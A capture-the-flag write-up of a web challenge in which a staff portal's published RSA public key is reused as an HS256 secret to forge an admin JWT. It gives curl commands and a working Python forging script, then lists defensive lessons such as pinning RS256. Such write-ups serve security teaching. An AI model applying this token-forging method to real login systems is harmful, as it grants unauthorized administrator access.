CSCTF 2026 · Web · 120 pts
keyring.
A public RSA key, a JWT library that trusts the header, and the difference between RS256 and HS256.
| Event | CSCTF 2026, Operation Dawn (online jeopardy) |
|---|---|
| Category | Web |
| Points | 120 |
| Status | Solved during the event |
| Target | Kestrel ID staff portal (assigned container) |
TL;DR. The portal publishes its RSA public key at /.well-known/kestrel-id.pem and verifies session tokens with a library that chooses the algorithm from the token header. Re-sign the registered user's claims with alg: HS256 and the exact PEM file bytes as the HMAC secret, set role: admin, and /admin returns the break-glass key.
Challenge
Kestrel ID is the staff identity provider for the VJOD console. Registration is open, every account gets a signed session token, and the administrative page is supposed to be reachable only by staff with the admin role. The public key is published so other services can verify tokens without calling the identity provider.
The flag is the break-glass key returned by /admin.
First look
The discovery document and the registration endpoint were enough to map the flow:
GET /.well-known/kestrel-id.pem -> -----BEGIN PUBLIC KEY----- ...
POST /register
{"full_name":"...","organisation":"...","username":"...","password":"..."}
-> {"token":"eyJ..."}
The token payload was a normal OIDC-shaped set:
{"iss":"...","aud":"vjod-staff","sub":"...","role":"user","iat":...,"exp":...,"jti":"..."}
GET /admin with that token returned 403. The interesting part is the key endpoint: the verification key is an RSA public key, so the intended algorithm is RS256.
Dead ends
alg: nonewas rejected. The library refuses unsigned tokens even when the header says so.- Editing
rolein the payload without re-signing invalidated the signature, as expected. - Using the DER bytes of the public key as an HMAC secret failed. So did a PEM string with the trailing newline stripped.
The last two failures are the useful ones: the server was accepting HS256, but the secret was not "the key" in the abstract. It was the file, byte for byte.
Solution
1. Fetch the key exactly as served
curl -s http://<host>:<port>/.well-known/kestrel-id.pem -o kestrel.pem
wc -c kestrel.pem
tail -c 1 kestrel.pem | xxd
The file ends with a newline. Read it in text mode and keep the newline. The key rotates when the container restarts, so fetch it from the same instance that issued the token.
2. Re-sign the claims as HS256
import jwt, requests
BASE = "http://<host>:<port>"
pem = open("kestrel.pem").read()
user = requests.post(BASE + "/register", json={
"full_name": "Dev Lahrani",
"organisation": "velvetv0id",
"username": "dev-" + secrets.token_hex(4),
"password": secrets.token_urlsafe(18),
}).json()["token"]
claims = jwt.decode(user, options={"verify_signature": False})
claims["role"] = "admin"
forged = jwt.encode(claims, pem, algorithm="HS256")
r = requests.get(BASE + "/admin", cookies={"session": forged})
print(r.status_code, r.text)
HS256 uses the PEM text as the HMAC-SHA256 secret. The signature is valid because the verifier selects HMAC from the header and loads the same bytes it publishes. The role claim is the only authorization input, so the forged token is treated as an administrator token.
3. Read the key
200 {"break_glass_key":"CSCTF{...}"}
The response field is the flag; there is no second step.
Flag
CSCTF{tcMCkdYvzLz1zWSl0J1HockC}What I took from it
- Algorithm confusion is a configuration bug, not a crypto break. The verifier must pin
RS256and reject any otheralgbefore it looks at the key material. - "Public key" does not mean "safe to use as an HMAC secret". Publishing a key only makes sense if the verifier never accepts a symmetric algorithm for it.
- Exact bytes matter. DER, stripped PEM and re-wrapped PEM all failed; the file as served worked. When a challenge says a secret is a file, hash or use the file, not your idea of the file.